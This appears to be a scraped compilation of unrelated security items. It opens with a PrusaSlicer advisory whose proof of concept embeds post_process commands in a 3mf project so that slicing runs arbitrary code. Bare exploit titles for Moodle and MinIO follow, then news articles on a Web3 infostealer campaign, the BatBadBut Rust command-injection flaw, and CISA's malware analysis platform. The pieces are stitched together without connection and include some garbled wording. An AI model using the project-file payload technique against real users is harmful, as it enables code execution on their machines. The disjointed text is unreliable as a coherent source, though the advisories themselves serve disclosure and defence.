PrusaSlicer parses this additional file to read various project settings. One of the settings (post_process) is the post-processing script (https://help.prusa3d.com/article/post-processing-scripts_283913) this feature has great potential for abuse as it allows a malicious user to create an evil 3mf project that will execute arbitrary code when the targeted user exports g-code from the malicious project. A project file needs to be modified with a prost process script setting in order to execute arbitrary code, this is demonstrated on both a Windows and Linux host in the following way.==========================================================================================2.) PoC==========================================================================================For the linux PoC, this CLI command is enough to execute the payload contained in the project. './prusa-slicer -s code-exec-linux.3mf'. After slicing, a new file '/tmp/hax' will be created. This particular PoC contains this 'post_process' entry in the 'Slic3r_PE.config' file:```; post_process = "/usr/bin/id > /tmp/hax #\necho 'Here I am, executing arbitrary code on this host. Thanks for slicing (x_x)'>> /tmp/hax #"```Just slicing the 3mf using the `-s` flag is enough to start executing potentially malicious code.For the windows PoC with GUI, the malicious 3mf file needs to be opened as a project file (or the settings imported). After exporting, a pop-up executed by the payload will appear. The windows PoC contains this entry:```; post_process = "C:\\Windows\\System32\\cmd.exe /c msg %username% Here I am, executing arbitrary code on this host. Thanks for slicing (x_x) "```

Moodle 3.10.1 SQL Injection

A Russian-language cyberattack campaign impersonates legitimate game operations to spread various cross-platform infostealers.

A Russian threat actor is peppering game developers with fraudulent Web3 gaming projects that drop multiple variants of infostealers on both MacOS and Windows devices.

The ultimate goal of the campaign appears to be defrauding victims and stealing their cryptocurrency wallets, according to Recorded Future's Insikt Group, which discovered the malicious activity.

The extensive Russian-language campaign mimics legitimate projects by using slight alterations in project names and branding — even going so far as to have multiple fake social-media accounts impersonating the projects to make them seem authentic, according to a report published online.

In the attack, the main webpage of a project offers or links to installation files for the purported "game" software, ostensibly for use by developers. However, these files instead deliver either Atomic macOS Stealer for Intel- or ARM-based devices; Rhadamanthys; or RisePro, depending on the victim's operating system.

"The targeted nature of this campaign suggests that threat actors may perceive Web3 gamers as having a more acute vulnerability to social engineering, due to an assumed trade-off in cyber hygiene — meaning that Web3 gamers may have fewer protections in place against cybercrime — in the pursuit of profit," according to the report.

That profit comes in the form of cryptocurrency, as the actor is primarily targeting developers' crypto wallets with the intent of compromising those wallets. Web3 gaming refers to online games such as Axie Infinity and MixMob that are built on blockchain technology, which can result in financial gain for players who earn various cryptocurrencies.

"As wallet compromise continues to be the biggest threat in both Web3 and cryptocurrency security … we assess that wallet compromise is likely the end goal of this campaign," according to Insikt Group. Attackers also can use credentials harvested from the malicious activity "for an array of unauthorized account accesses," according to the report.

Indeed, the report outlines several social media reports of game developers falling victim to the scam and having their crypto wallets drained, including one who lost about 2.5 Ethereum, or about $8,000.

**Setting a Trap Through Impersonation**

The attack campaign comes in the form of what's called "trap phishing," whereby malicious actors duplicate and deploy Web3 project lookalikes.

Insikt researchers began investigating the malicious activity after Web3 smart contract auditor CertiK described a project in January called Astration that used fake job openings and non-fungible token NFT offerings to lure game developers into a trap-phishing campaign that spread infostealers.

The fraudulent project duplicated and recreated nearly all of the social media accounts associated with a legit project called Alteration, including reposting social-media content from legitimate accounts, establishing a direct copy of the project's Discord server, and delivering two types of malware.

Upon further research, Insikt found five additional fraudulent gaming projects, three of which were serving malicious files communicating with the same command-and-control (C2) server as those obtained from the Astration project, as well as two that were no longer active but were found to be similar to the active scams. Purported game names associated with the active projects were ArgonGame, DustFighter, and CosmicWay Reboot, while games associated with the inactive projects were Crypterium World and Myth Island.

Overall, the threat actors are delivering the campaign via "a resilient infrastructure, allowing them to quickly adapt by rebranding or shifting focus upon detection," according to Insikt.

**Maintain Vigilance to Mitigate Risk**

Insikt highlighted the necessity for both individuals and organizations to maintain continuous vigilance against threats and adopt mitigation strategies against campaigns that use phishing as an initial entry point. To that end, the group offered a number of mitigations in its report as well as included a list of indicators of compromise.

One is to provide comprehensive training to users — especially those involved in Web3 gaming or related industries — to recognize social engineering tactics associated with trap phishing. Game developers in particular should "scrutinize the legitimacy of Web3 projects advertised on social media," according to the report.

Organizations also should educate users on the well-known risks associated with downloading software from unverified sources and the importance of verifying the authenticity of project websites before installation.

Endpoint protection solutions updated with the latest threat intelligence — such as antivirus software that are capable of detecting and blocking known infostealer variants like Atomic, Stealc, Rhadamanthys, and RisePro — also can help organizations avoid compromise.

Organizations should also deploy multi-platform security measures to protect against malware infections across both macOS and Windows devices, including firewalls, intrusion detection systems, and endpoint detection and response (EDR) solutions, according to Insikt.

Web3 Game Developers Targeted in Crypto Theft Scheme

Critical 'BatBadBut' Flaw in Windows Lets Hackers Inject Commands (Patch Now!)
This is a post from HackRead.com Read the original post: Windows Apps Vulnerable to Command Injection via “BatBadBut” Flaw

Flatt Security has discovered a critical vulnerability called “BatBadBut” that could allow attackers to inject malicious commands into Windows applications. The flaw, discovered by Flatt Security’s security engineer RyotaK, affects multiple programming languages. It was reported to the CERT Coordination Center and registered as CVE-2024-24576 on GitHub with a severity score of 10.0.

****What’s the Issue?****

Windows Rust developers are being urged to update their versions due to a critical vulnerability called ‘BatBadBut’, which could lead to malicious command injections on machines. The vulnerability affects the Rust standard library, which improperly escaped arguments when invoking batch files on Windows using the Command API.

BatBadBut vulnerability allows attackers to inject commands into Windows applications that rely on the ‘CreateProcess’ function. This is because cmd.exe, which executes batch files, has complex parsing rules and programming language runtimes fail to escape command arguments properly.

****Why it Occurs?****

The ‘BatBadBut’ issue occurs from the interaction between programming languages and the Windows operating system. When a program calls the “CreateProcess” function, Windows launches a separate process, “cmd.exe,” to handle the execution. This separate process parses the commands in the .bat file. 

For your information, Windows by default includes .bat and.cmd files in the PATHEXT environment variable, which can cause runtimes to execute batch files against developers’ intentions. An attacker can inject commands into Windows applications by controlling the command arguments section of batch files. To do this, the application must execute a command on Windows, specify the command file extension, control the command arguments, and fail to escape them.

“Some runtimes execute batch files against the developers’ intention if there is a batch file with the same name as the command that the developer intended to execute,” ” Ryotak explained.

****Impacted Applications****

Haskell process library, Rust, Node.js, PHP, and yt-dlp are affected by this bug. The Rust Security Response Working Group was notified on April 9 2024 that the Rust standard library, which is used to invoke batch files on Windows, is not properly escaping arguments, allowing attackers to execute arbitrary shell commands by bypassing the escaping. Haskell, Rust, and yt-dlp have issued patches.  

Ryotak reports that this isn’t an “internet breaking vulnerability” and most applications are not affected by it with several mitigations already available. Some programming languages have addressed it by adding an escaping mechanism. In addition, BatBadBut only affects Rust versions before 1.77.2, affecting no other platform or use.

****Mitigation Strategies:****

Researchers advise developers to exercise caution when using functions that interact with external processes, especially when dealing with user-supplied data. They recommend validating and sanitizing user input before incorporating it into commands, using safe alternatives, and staying updated with the latest security patches and fixes provided by framework and library developers.

But just how the government differentiates its platform from similar private-sector options remains to be seen.

The US Cybersecurity and Infrastructure Security Agency (CISA) has given organizations a new resource for analyzing suspicious and potentially malicious files, URLs, and IP addresses by making its Malware Next-Gen Analysis platform available to everyone earlier this week.

The question now is how organizations and security researchers will use the platform and what kind of new threat intelligence it will enable beyond what is available via VirusTotal and other malware analysis services.

The Malware Next-Gen platform uses dynamic and static analysis tools to analyze submitted samples and determine if they are malicious. It gives organizations a way to obtain timely and actionable information on new malware samples, such as the functionality and actions a string of code can execute on a victim system, CISA said. Such intelligence can be crucial to enterprise security teams for threat hunting and incident response purposes, the agency noted.

"Our new automated system enables CISA's cybersecurity threat hunting analysts to better analyze, correlate, enrich data, and share cyber threat insights with partners," said Eric Goldstein, CISA's executive assistant director for cybersecurity, in a prepared statement. "It facilitates and supports rapid and effective response to evolving cyber threats, ultimately safeguarding critical systems and infrastructure."

Since CISA rolled out the platform last October, some 400 registered users from various US federal, state, local, tribal, and territorial government agencies have submitted samples for analysis to Malware Next-Gen. Of the more than 1,600 files that users have submitted so far, CISA identified about 200 as suspicious files or URLs.

With CISA's move this week to make the platform available to everyone, any organization, security researcher, or individual can submit malicious files and other artifacts for analysis and reporting. CISA will provide analysis only to registered users on the platform.

Jason Soroko, senior vice president of product at certificate lifecycle management vendor Sectigo, says the promise of CISA's Malware Next-Generation Analysis platform lies in the insight it can potentially provide. "Other systems concentrate on answering the question 'has this been seen before and is it malicious'," he notes. "CISA's approach might end up being prioritized differently to become 'is this sample malicious, what does it do, and has this been seen before'."

Several platforms — VirusTotal is the most widely known — are currently available that use multiple antivirus scanners and static and dynamic analysis tools to analyze files and URLs for malware and other malicious content. Such platforms serve as a sort of centralized resource for known malware samples and associated behavior that security researchers and teams can use to identify and assess risk associated with new malware.

How different CISA's Malware Next-Gen will be from these offerings remains unknown.

"At this time, the US government has not detailed what makes this different from other open source sandbox analysis options that are available," Soroko says. The access that registered users will get to analysis of malware targeted at US government agencies could be valuable, he says. "Getting access to CISA's in-depth analysis would be the reason to participate. It remains to be seen for those of us outside of the US government if this is better or the same as other open source sandbox analysis environments."

**Making a Difference**

Callie Guenther, senior manager, cyber threat research at Critical Start, says it's possible that some organizations might initially be a bit cautious about contributing samples and other artifacts to a government-run platform because of data confidentiality and compliance issues. But the potential upside from a threat intelligence standpoint could encourage participation, Guenther notes. "The decision to share with CISA will likely consider the balance between enhancing collective security and safeguarding sensitive information."

CISA can differentiate its platform and deliver more value by investing in capabilities that enable it to detect sandbox-evading malware samples, says Saumitra Das, vice president of engineering at Qualys. "CISA should try to invest in both AI-based classification of malware samples as well as tamper-resistant dynamic analysis techniques … that could better uncover \[indicators of compromise\]," he says.

A larger focus on malware targeting Linux systems would also be a big improvement, Das says. "A lot of the current focus is on Windows samples from EDR use cases but with \[Kubernetes\] and cloud-native migration happening, Linux malware is on the rise and are quite different in their structure," from Windows malware, he says.

MinIO Privilege Escalation

Project behind the Rust programming language asserted that any calls to a specific API would be made safe, even with unsafe inputs, but researchers found ways to circumvent the protections.

The Rust Project has issued an update for its standard library, after a vulnerability researcher discovered a specific function used to execute batch files on Windows systems could be exploited using an injection flaw.

The set of common functions included with Rust programming language, known as the standard library, offers the ability — among its many other capabilities — to execute Windows batch files through the Command API. The function, however, did not process the inputs to the API rigorously enough to eliminate the possibility of injecting code into the execution, according to a Rust Security Response Working Group advisory published April 9.

While Rust is well known for its memory-safety features, the incident underscores that the programming language is not proof against logic bugs, says Yair Mizrahi, a senior vulnerability researcher at application-security firm JFrog.

"Overall, Rust's memory safety is a notable advantage, but developers must also pay close attention to the potential for logical bugs to ensure the overall security and reliability of their Rust-based applications," he says. "To address such logical issues, Rust encourages a rigorous testing and code review process, as well as the use of static analysis tools to identify and mitigate logical bugs."

Rust has gained a reputation for being a very secure programming language, because it does not leave applications open to the often-severe class of flaws known as memory-safety vulnerabilities. Google has attributed a drop in memory-unsafe code to the shift to memory-safe languages, such as Rust and Kotlin, while Microsoft found that up until 2018, when it shifted to memory-safe language, such vulnerabilities regularly accounted for 70% of all security issues.

**Windows Poses a Batch of Issues**

The latest issue is not a memory-safety vulnerability, but a problem with the logic used to process untrusted input. Part of Rust's standard library allows the developer to call a function to send a batch file to the Windows machine for processing. There are reasons for submitting code to the host as a batch file, says Joel Marcey, director of technology at Rust Foundation, which supports the programming language's maintainers and the Rust ecosystem.

"Batch files are run for many reasons on systems, and Rust provides an API to allow you to execute those fairly easily," he says. "So while this is not necessarily the most common use case for Rust, the API, before the fixed patch was implemented, allowed for malicious actors to theoretically take over your system by running arbitrary commands, and this is definitely a critical vulnerability."

Typically, a developer can forward a workload to the Windows host to be executed as a batch process through the Command applications programming interface (API), part of the standard library. Typically, Rust guarantees the safety of any call to the Command API, but in this case, the Rust Project could not find a way to prevent the execution of all arguments, primarily because Windows does not adhere to any sort of standard, and that the API could allow an attacker to submit code that would then be executed.

"Unfortunately it was reported that our escaping logic was not thorough enough, and it was possible to pass malicious arguments that would result in arbitrary shell execution," according to the Rust Security Response WG.

**Rust Project Proves Responsive**

While dealing with any vulnerability can be a headache, the Rust Project has shown that the group quickly resolves issues, say experts. The standard library vulnerability, CVE-2024-24576, is ultimately an issue with the Windows batch-processing problem and affects other programming languages, if they do not adequately parse the arguments sent to the Windows batch process. The Rust Project appears to be the first out the door with a fix for passing arguments to the Windows CMD.exe process, says JFrog's Mizrahi.

The groups could not completely eliminate the issue, but the Command API will not return an error when any augments passed to the function could be unsafe, the Rust Project said. 

JFrog's Mizrahi urges Rust to broaden its use of static application security testing and expand the use of fuzzing and dynamic testing.

"Overall, Rust is on the right track by emphasizing memory safety and encouraging rigorous testing practices," he says. "Combining these efforts with continued advancements in static analysis and fuzzing can help the Rust community and the broader software industry make significant strides in addressing logical bugs and input validation flaws in the years to come."
